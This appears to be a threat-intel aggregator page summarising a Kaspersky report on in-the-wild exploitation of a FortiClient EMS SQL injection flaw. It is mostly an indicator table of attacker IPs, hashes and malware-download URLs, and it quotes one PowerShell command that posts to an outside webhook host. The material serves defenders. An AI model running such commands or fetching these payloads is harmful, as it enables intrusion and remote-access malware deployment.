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Attackers exploiting a FortiClient EMS vulnerability in the wild

Kaspersky Securelistby @Securelist ()10 min read1
Analyze CVE-2023-48788 with Vani AIImpact, affected versions, exploitation, mitigations and detection

Vulnerabilities mentioned

All
CVEVulnerabilityCVSSEPSSSignalsPublished
CVE-2023-48788
Unauthenticated SQL Injection in Fortinet FortiClient EMS
9.898%KEVRansomware
KEV

Indicators of compromise

auto-extracted · verify before use · export allAll
TypeIndicatorContext
domainscreenconnect.comns / IP addresses from the incident 45.141.84[.]45 infinity.screenconnect[.]com kle.screenconnect[.]com trembly.screenconnect[.]com corsm
ipv4148.251.53.222uest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SETUP.MSI hxxps://webhook.site/7ece827e-d440-46fd-9b2
ipv4185.196.9.31m/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SET
ipv4185.216.70.170IP addresses from additional malicious payloads discovered 185.216.70.170:1337 hxxps://sipaco2.screenconnect.com/Bin/ScreenConnect.Cl
ipv4206.206.77.33/185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w qvmlaztyjogwgkikmknv2ch3t5yhb6v
ipv445.141.84.45c7790e1a6812ea4ca8 Domains / IP addresses from the incident 45.141.84[.]45 infinity.screenconnect[.]com kle.screenconnect[.]com trem
ipv45.61.59.201Yj4MbtB0w qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun hxxp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe hxxp://
ipv487.120.125.55gCNsJRB.exe hxxps://www.lidahtoto2.com/assets/im.ps1 hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\EdgouRkWzLsK.exe
sha134162aaf41c08f0de2f888728b7f4dc2a43b50ec59cc2be77239e904f7 841fff3a36d82c14b044da26967eb2a8f61175a8 34162aaf41c08f0de2f888728b7f4dc2a43b50ec cf1ca6c7f818e72454c923fea7824a8f6930cb08 e3b6ea8c46fa831cec
sha1441a52f0112da187244eeec5b24a79f40cc17d47from the incident 8cfd968741a7c8ec2dcbe0f5333674025e6be1dc 441a52f0112da187244eeec5b24a79f40cc17d47 746710470586076bb0757e0b3875de9c90202be2 bc29888042d03fe0ff
sha144b83dd83d189f19e54700a288035be8aa7c86729a34d983b65af5ec7f 83cff3719c7799a3e27a567042e861106f33bb19 44b83dd83d189f19e54700a288035be8aa7c8672 8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8 Domains / IP addre
sha159e1322440b4601d614277fe9092902b6ca471c2fea7824a8f6930cb08 e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69 59e1322440b4601d614277fe9092902b6ca471c2 75ebd5bab5e2707d4533579a34d983b65af5ec7f 83cff3719c7799a3e2
sha173f8e5c17b49b9f2703fed59cc2be77239e904f70b3875de9c90202be2 bc29888042d03fe0ffb57fc116585e992a4fdb9b 73f8e5c17b49b9f2703fed59cc2be77239e904f7 841fff3a36d82c14b044da26967eb2a8f61175a8 34162aaf41c08f0de2
sha1746710470586076bb0757e0b3875de9c90202be2f5333674025e6be1dc 441a52f0112da187244eeec5b24a79f40cc17d47 746710470586076bb0757e0b3875de9c90202be2 bc29888042d03fe0ffb57fc116585e992a4fdb9b 73f8e5c17b49b9f270
sha175ebd5bab5e2707d4533579a34d983b65af5ec7f5a5cf48b38a4ae8d69 59e1322440b4601d614277fe9092902b6ca471c2 75ebd5bab5e2707d4533579a34d983b65af5ec7f 83cff3719c7799a3e27a567042e861106f33bb19 44b83dd83d189f19e5
sha183cff3719c7799a3e27a567042e861106f33bb19fe9092902b6ca471c2 75ebd5bab5e2707d4533579a34d983b65af5ec7f 83cff3719c7799a3e27a567042e861106f33bb19 44b83dd83d189f19e54700a288035be8aa7c8672 8834f7ab3d4aa5fb14
sha1841fff3a36d82c14b044da26967eb2a8f61175a8c116585e992a4fdb9b 73f8e5c17b49b9f2703fed59cc2be77239e904f7 841fff3a36d82c14b044da26967eb2a8f61175a8 34162aaf41c08f0de2f888728b7f4dc2a43b50ec cf1ca6c7f818e72454
sha18834f7ab3d4aa5fb14d851c7790e1a6812ea4ca87042e861106f33bb19 44b83dd83d189f19e54700a288035be8aa7c8672 8834f7ab3d4aa5fb14d851c7790e1a6812ea4ca8 Domains / IP addresses from the incident 45.141.84[.]45 inf
sha18cfd968741a7c8ec2dcbe0f5333674025e6be1dctwise / ScreenConnect AnyDesk HASH – SHA1 from the incident 8cfd968741a7c8ec2dcbe0f5333674025e6be1dc 441a52f0112da187244eeec5b24a79f40cc17d47 746710470586076bb0
sha1bc29888042d03fe0ffb57fc116585e992a4fdb9bc5b24a79f40cc17d47 746710470586076bb0757e0b3875de9c90202be2 bc29888042d03fe0ffb57fc116585e992a4fdb9b 73f8e5c17b49b9f2703fed59cc2be77239e904f7 841fff3a36d82c14b0
sha1cf1ca6c7f818e72454c923fea7824a8f6930cb0826967eb2a8f61175a8 34162aaf41c08f0de2f888728b7f4dc2a43b50ec cf1ca6c7f818e72454c923fea7824a8f6930cb08 e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69 59e1322440b4601d61
sha1e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69728b7f4dc2a43b50ec cf1ca6c7f818e72454c923fea7824a8f6930cb08 e3b6ea8c46fa831cec6f235a5cf48b38a4ae8d69 59e1322440b4601d614277fe9092902b6ca471c2 75ebd5bab5e2707d45
urlhttp://148.251.53.222:14443/SETUP.MSIess&y=Guest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SETUP.MSI hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8 h
urlhttp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRwnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SETUP.MSI hxxps://webhook.site/
urlhttp://185.216.70.170/OO.BAT HXXP://185.216.70.170/HELLO HXXP://185.216.70.170/A hxxp://185.216.70.170 hxxp://185.216.70.170/oo.bat hxxp://185.216.70.170/hello hx
urlhttp://185.216.70.170/72.batt hxxp://185.216.70.170/hello hxxp://185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w qvmlaztyjo
urlhttp://185.216.70.170/Aa4 HXXP://185.216.70.170/OO.BAT HXXP://185.216.70.170/HELLO HXXP://185.216.70.170/A hxxp://185.216.70.170 hxxp://185.216.70.170/oo.bat hxxp://1
urlhttp://185.216.70.170/hello70.170/A hxxp://185.216.70.170 hxxp://185.216.70.170/oo.bat hxxp://185.216.70.170/hello hxxp://185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat
urlhttp://185.216.70.170/HELLO0c-927c-460a-a543-50d4fc87c8a4 HXXP://185.216.70.170/OO.BAT HXXP://185.216.70.170/HELLO HXXP://185.216.70.170/A hxxp://185.216.70.170 hxxp://185.21
urlhttp://185.216.70.170/oo.bat.70.170/HELLO HXXP://185.216.70.170/A hxxp://185.216.70.170 hxxp://185.216.70.170/oo.bat hxxp://185.216.70.170/hello hxxp://185.216.70.170/sos.txt h
urlhttp://185.216.70.170/OO.BAT8 hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4 HXXP://185.216.70.170/OO.BAT HXXP://185.216.70.170/HELLO HXXP://185.216.70.170/A hxxp://
urlhttp://185.216.70.170/sos.txt70 hxxp://185.216.70.170/oo.bat hxxp://185.216.70.170/hello hxxp://185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat hxxp://206.206.77.33:8080/xeY_
urlhttp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0whxxp://185.216.70.170/sos.txt hxxp://185.216.70.170/72.bat hxxp://206.206.77.33:8080/xeY_J7tYzjajqYj4MbtB0w qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun hxxp://5.61.59.2
urlhttp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe hxxp://5.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\FaLNkAQGOe.exe hxxp://5.61.59.201:8080/7k9XBvjahnQK0
urlhttp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQtYzjajqYj4MbtB0w qvmlaztyjogwgkikmknv2ch3t5yhb6vw4.oast.fun hxxp://5.61.59.201:8080/FlNOfGPkOL4qc_gYuWeEYQ %TEMP%\gfLQPbNLYYYh.exe hxxp://5.61.59.201:8080/7k9XBvjahnQ
urlhttp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQTEMP%\QgCNsJRB.exe hxxps://www.lidahtoto2.com/assets/im.ps1 hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\EdgouRkWzLsK.exe
urlhttps://allwebemails1.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://allwebemails1.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.Clie
urlhttps://corsmich.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://corsmich.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSe
urlhttps://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://infinity.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://solarnyx2410150445.screenconnect.com/Bin/ScreenConn
urlhttps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://infinity.screenconnect.com/Bin/ScreenConnect.Client
urlhttps://lindeman.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://lindeman.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSe
urlhttps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://myleka.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://petit.screenconnect.com/Bin/ScreenConnect.ClientSet
urlhttps://petit.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://petit.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://lindeman.screenconnect.com/Bin/ScreenConnect.Client
urlhttps://sipaco2.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestdditional malicious payloads discovered 185.216.70.170:1337 hxxps://sipaco2.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://trembly.screenconnect.com/Bin/ScreenConnect.ClientS
urlhttps://solarnyx2410150445.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://solarnyx2410150445.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://allwebemails1.screenconnect.com/Bin/ScreenConnect.C
urlhttps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://sorina.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://kle.screenconnect.com/Bin/ScreenConnect.ClientSetup
urlhttps://trembly.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://trembly.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://corsmich.screenconnect.com/Bin/ScreenConnect.Client
urlhttps://webhook.site/278fXXXX-ca3b-[REDACTED> POWERSHELL . EXE -> CMD . exe -> powershell - c "iwr -Uri hxxps://webhook.site/278fXXXX-ca3b-[REDACTED]-96e4-XXXX45aa6809 -Method Post -Body 'test' > $null" Accor
urlhttps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8d7OZy3uMQL-YabI8FHeRw HXXP://148.251.53.222:14443/SETUP.MSI hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8 hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4 H
urlhttps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4I hxxps://webhook.site/7ece827e-d440-46fd-9b22-cc9a01db03c8 hxxps://webhook.site/d0f4440c-927c-460a-a543-50d4fc87c8a4 HXXP://185.216.70.170/OO.BAT HXXP://185.216.70.170/HELLO HX
urlhttps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guestnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxps://web-r6hl0n.screenconnect.com/Bin/ScreenConnect.ClientSetup.exe?e=Access&y=Guest hxxp://185.196.9.31:8080/bd7OZy3uMQL-YabI8FHeRw HXXP://148.
urlhttps://www.lidahtoto2.com/assets/im.ps15.61.59.201:8080/7k9XBvjahnQK09abSc8SpA %TEMP%\QgCNsJRB.exe hxxps://www.lidahtoto2.com/assets/im.ps1 hxxp://87.120.125.55:8080/BW_qY1OFZRv7iNiY_nOTFQ %TEMP%\Edg

From the original article

10 min read at securelist.com

During a recent incident response, Kaspersky’s GERT team identified a set of TTPs and indicators linked to an attacker that infiltrated a company’s networks by targeting a Fortinet vulnerability for which a patch was already available. This vulnerability is an improper filtering of SQL command input making the system susceptible to an SQL injection. It specifically affects Fortinet FortiClient EMS versions 7.

Kaspersky Securelist

By @Securelist · securelist.com

Read the full article at Kaspersky Securelist

A short excerpt; the article and its images belong to the publisher. Summary, key facts and assessment above are AI-written from the article and can be wrong.